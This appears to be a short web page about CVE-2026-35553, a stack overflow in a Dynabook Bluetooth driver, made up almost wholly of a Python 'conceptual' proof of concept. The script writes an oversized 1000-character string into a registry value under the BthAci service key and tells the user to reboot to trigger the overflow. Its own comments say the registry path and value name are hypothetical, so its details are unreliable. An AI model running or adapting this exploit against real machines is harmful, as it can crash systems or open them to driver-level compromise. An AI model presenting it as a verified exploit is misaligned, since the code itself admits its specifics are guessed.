CVE-2026-35553: Dynabook蓝牙驱动栈溢出漏洞

import winreg # Conceptual PoC for CVE-2026-35553 # This script demonstrates modifying a registry value to trigger a buffer overflow. # Note: The specific registry path and value name are hypothetical and require research. def trigger_overflow(): try: # Path to the vulnerable driver's registry key reg_path = r"SYSTEM\CurrentControlSet\Services\BthAci" # Open the key with write access key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, reg_path, 0, winreg.KEY_SET_VALUE) # Create a payload larger than the buffer size (e.g., 1000 bytes) # This overwrites the stack frame payload = "A" * 1000 # Write the payload to the registry value value_name = "ConfigParameter" winreg.SetValueEx(key, value_name, 0, winreg.REG_SZ, payload) print("[+] Payload written successfully.") print("[*] Reboot the system to trigger the driver load and overflow.") winreg.CloseKey(key) except WindowsError as e: print(f"[!] Error accessing registry: {e}") if __name__ == "__main__": trigger_overflow()